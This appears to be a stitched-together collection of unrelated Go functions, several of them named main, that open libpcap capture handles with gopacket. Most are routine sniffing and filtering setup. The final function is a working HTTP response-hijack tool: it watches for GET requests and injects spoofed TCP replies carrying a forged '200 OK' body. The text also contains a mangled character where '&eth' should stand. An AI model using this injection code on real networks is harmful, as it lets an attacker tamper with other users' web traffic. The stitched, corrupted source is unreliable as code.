func tryCapture(iface net.Interface) error { if iface.Name[:2] == "lo" { return fmt.Errorf("skipping loopback") } var h *pcap.Handle var err error switch *mode { case "basic": h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3) if err != nil { return fmt.Errorf("openlive: %v", err) } defer h.Close() case "filtered": h, err = pcap.OpenLive(iface.Name, 65536, false, time.Second*3) if err != nil { return fmt.Errorf("openlive: %v", err) } defer h.Close() if err := h.SetBPFFilter("port 80 or port 443"); err != nil { return fmt.Errorf("setbpf: %v", err) } case "timestamp": u, err := pcap.NewInactiveHandle(iface.Name) if err != nil { return err } defer u.CleanUp() if err = u.SetSnapLen(65536); err != nil { return err } else if err = u.SetPromisc(false); err != nil { return err } else if err = u.SetTimeout(time.Second * 3); err != nil { return err } sources := u.SupportedTimestamps() if len(sources) == 0 { return fmt.Errorf("no supported timestamp sources") } else if err := u.SetTimestampSource(sources[0]); err != nil { return fmt.Errorf("settimestampsource(%v): %v", sources[0], err) } else if h, err = u.Activate(); err != nil { return fmt.Errorf("could not activate: %v", err) } defer h.Close() default: panic("Invalid --mode: " + *mode) } go generatePackets() h.ReadPacketData() // Do one dummy read to clear any timeouts. data, ci, err := h.ReadPacketData() if err != nil { return fmt.Errorf("readpacketdata: %v", err) } log.Printf("Read packet, %v bytes, CI: %+v", len(data), ci) return nil }
func main() { defer util.Run()() var handle *pcap.Handle var err error signal.Notify(sigs, syscall.SIGHUP) go startWebServer() go sighandler() flag.Parse() go printDebugInfo() if fname != "" { if handle, err = pcap.OpenOffline(fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(true); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if tstype != "" { if t, err := pcap.TimestampSourceFromString(tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } for { process(handle) } }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } // https://github.com/google/gopacket/blob/master/dumpcommand/tcpdump.go dumpcommand.Run(handle) }
func newPcapIO(ifName string, promisc bool, snaplen int, bufSz int) (handle *PcapIO, err error) { inactive, err := pcap.NewInactiveHandle(ifName) if err != nil { return } defer inactive.CleanUp() if err = inactive.SetPromisc(promisc); err != nil { return } if err = inactive.SetSnapLen(snaplen); err != nil { return } if err = inactive.SetTimeout(MaxDuration); err != nil { return } if err = inactive.SetImmediateMode(true); err != nil { // If gopacket is compiled against an older pcap.h that // doesn't have pcap_set_immediate_mode, it supplies a dummy // definition that always returns PCAP_ERROR. That becomes // "Generic error", which is not very helpful. The real // pcap_set_immediate_mode never returns PCAP_ERROR, so this // turns it into a more informative message. if fmt.Sprint(err) == "Generic error" { err = fmt.Errorf("compiled against an old version of libpcap; please compile against libpcap-1.5.0 or later") } return } if err = inactive.SetBufferSize(bufSz); err != nil { return } active, err := inactive.Activate() if err != nil { return } if err = active.SetDirection(pcap.DirectionIn); err != nil { return } return &PcapIO{handle: active}, nil }
func getOpstream(cfg OpStreamSettings) (*packetHandlerContext, error) { if cfg.PacketBufSize < 1 { return nil, fmt.Errorf("invalid packet buffer size") } var pcapHandle *pcap.Handle var err error if len(cfg.PcapFile) > 0 { pcapHandle, err = pcap.OpenOffline(cfg.PcapFile) if err != nil { return nil, fmt.Errorf("error opening pcap file: %v", err) } } else if len(cfg.NetworkInterface) > 0 { inactive, err := pcap.NewInactiveHandle(cfg.NetworkInterface) if err != nil { return nil, fmt.Errorf("error creating a pcap handle: %v", err) } // This is safe; calling `Activate()` steals the underlying ptr. defer inactive.CleanUp() err = inactive.SetSnapLen(64 * 1024) if err != nil { return nil, fmt.Errorf("error setting snaplen on pcap handle: %v", err) } err = inactive.SetPromisc(false) if err != nil { return nil, fmt.Errorf("error setting promisc on pcap handle: %v", err) } err = inactive.SetTimeout(pcap.BlockForever) if err != nil { return nil, fmt.Errorf("error setting timeout on pcap handle: %v", err) } // CaptureBufSize is in KiB to match units on `tcpdump -B`. err = inactive.SetBufferSize(cfg.CaptureBufSize * 1024) if err != nil { return nil, fmt.Errorf("error setting buffer size on pcap handle: %v", err) } pcapHandle, err = inactive.Activate() if err != nil { return nil, fmt.Errorf("error listening to network interface: %v", err) } } else { return nil, fmt.Errorf("must specify either a pcap file or network interface to record from") } if len(cfg.Expression) > 0 { err = pcapHandle.SetBPFFilter(cfg.Expression) if err != nil { return nil, fmt.Errorf("error setting packet filter expression: %v", err) } } h := NewPacketHandler(pcapHandle) h.Verbose = userInfoLogger.isInVerbosity(DebugLow) toolDebugLogger.Logvf(Info, "Created packet buffer size %d", cfg.PacketBufSize) m := NewMongoOpStream(cfg.PacketBufSize) return &packetHandlerContext{h, m, pcapHandle}, nil }
func (d *MetroSniffer) Sniff() error { if d.pcapHandle == nil { log.Infof("starting capture on interface %q", d.Iface) if d.Iface != fileInterface { // Set up pcap packet capture inactive, err := pcap.NewInactiveHandle(d.Iface) if err != nil { log.Errorf("Unable to create inactive handle for %q", d.Iface) d.reporter.Stop() d.die(err) return err } defer inactive.CleanUp() inactive.SetSnapLen(d.Snaplen) inactive.SetPromisc(false) inactive.SetTimeout(time.Second) // TODO: Make the timestamp source selectable - Not all OS will allow that. // call SupportedTimestamps() on handle to check what's available handle, err := inactive.Activate() if err != nil { log.Errorf("Unable to activate %q", d.Iface) d.reporter.Stop() d.die(err) return err } d.pcapHandle = handle } else { handle, err := pcap.OpenOffline(d.config.Pcap) if err != nil { log.Errorf("Unable to open pcap file %q", d.config.Pcap) d.reporter.Stop() d.die(err) return err } d.pcapHandle = handle } } ifaces, err := pcap.FindAllDevs() if err != nil { log.Criticalf("Error getting interface details: %s", err) panic(Exit{1}) } ifaceFound := false ifaceDetails := make([]pcap.Interface, len(ifaces)-1) for i := range ifaces { if ifaces[i].Name == d.Iface { ifaceDetails[i] = ifaces[i] ifaceFound = true } } if !ifaceFound && d.Iface != fileInterface { log.Criticalf("Could not find interface details for: %s", d.Iface) panic(Exit{1}) } // we need to identify if we're the source/destination for i := range ifaceDetails { for j := range ifaceDetails[i].Addresses { ipStr := ifaceDetails[i].Addresses[j].IP.String() if strings.Contains(ipStr, "::") { log.Infof("IPv6 currently unsupported ignoring: %s", ipStr) } else { d.hostIPs[ipStr] = true } } } for i := range d.config.Hosts { hostIPs, err := net.LookupHost(d.config.Hosts[i]) if err != nil { log.Errorf("Error resolving name for: %s", d.config.Hosts[i]) continue } for k := range hostIPs { d.config.Ips = append(d.config.Ips, hostIPs[k]) d.nameLookup[hostIPs[k]] = d.config.Hosts[i] log.Infof("%s resolving to: %s", d.config.Hosts[i], hostIPs[k]) } } hosts := make([]string, 0) for i := range d.config.Ips { hosts = append(hosts, fmt.Sprintf("host %s", d.config.Ips[i])) //add posible missing hostnames _, ok := d.nameLookup[d.config.Ips[i]] if !ok { hostnames, err := net.LookupAddr(d.config.Ips[i]) if err != nil { log.Errorf("Problem looking up hostnames for: %s", d.config.Ips[i]) continue } for j := range hostnames { d.nameLookup[d.config.Ips[i]] = hostnames[j] log.Infof("%s resolving to: %s", hostnames[j], d.config.Ips[i]) } } } //let's make sure they haven't just whitelisted local ips/hosts localWhitelist := true for _, host := range d.config.Ips { _, local := d.hostIPs[host] if !local { localWhitelist = false } } if localWhitelist { err := errors.New("Whitelist cannot contain just local addresses! Bailing out") log.Errorf("%v : %v", err, hosts) d.reporter.Stop() d.die(err) return err } bpfFilter := "" if len(hosts) > 0 { bpfFilter = "(" + strings.Join(hosts, " or ") + ")" } d.Filter += " and not host 127.0.0.1" if len(hosts) > 0 { d.Filter += " and " + bpfFilter } log.Infof("Setting BPF filter: %s", d.Filter) if err := d.pcapHandle.SetBPFFilter(d.Filter); err != nil { log.Criticalf("error setting BPF filter: %s", err) panic(Exit{1}) } log.Infof("reading in packets") if d.Iface == fileInterface { d.SniffOffline() } else { d.SniffLive() } for k := range d.flows.FlowMapKeyIterator() { flow, e := d.flows.Get(k) if e && flow.Sampled > 0 { if d.Soften { log.Infof("Flow %s\t w/ %d packets\tRTT:%6.2f ms", k, flow.Sampled, float64(int64(flow.SRTT)*int64(time.Nanosecond))/float64(time.Millisecond)) } else { log.Infof("Flow %s\t w/ %d packets\tRTT:%6.2f ms", k, flow.Sampled, float64(flow.SRTT)*float64(time.Nanosecond)/float64(time.Millisecond)) } } } //Shutdown reporter thread return d.reporter.Stop() }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } inactive.SetImmediateMode(true) if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { if tcpLayer.(*layers.TCP).DstPort != 80 { continue } if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST { continue } data := string(tcpLayer.(*layers.TCP).LayerPayload()) if !strings.HasPrefix(data, "GET") { continue } fmt.Println("I got GET packet!") ethLayer := packet.Layer(layers.LayerTypeEthernet) eth := layers.Ethernet{ SrcMAC: ethLayer.(*layers.Ethernet).DstMAC, DstMAC: ethLayer.(*layers.Ethernet).SrcMAC, EthernetType: layers.EthernetTypeIPv4, } ipv4Layer := packet.Layer(layers.LayerTypeIPv4) ipv4 := layers.IPv4{ Version: ipv4Layer.(*layers.IPv4).Version, SrcIP: ipv4Layer.(*layers.IPv4).DstIP, DstIP: ipv4Layer.(*layers.IPv4).SrcIP, TTL: 77, Id: ipv4Layer.(*layers.IPv4).Id, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: tcpLayer.(*layers.TCP).DstPort, DstPort: tcpLayer.(*layers.TCP).SrcPort, PSH: true, ACK: true, FIN: true, Seq: tcpLayer.(*layers.TCP).Ack, Ack: tcpLayer.(*layers.TCP).Seq + uint32(len(data)), Window: 0, } tcp.SetNetworkLayerForChecksum(&ipv4) data = `HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Jan 2016 13:09:19 GMT Content-Type: text/plain;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store Pragrma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Content-Length: 7 Stupid!` // Set up buffer and options for serialization. buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if err := gopacket.SerializeLayers(buf, opts, ð, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil { fmt.Println(err) } if err := handle.WritePacketData(buf.Bytes()); err != nil { fmt.Println(err) } fmt.Println("I sent Response-hijack packet!") } } // dumpcommand.Run(handle) }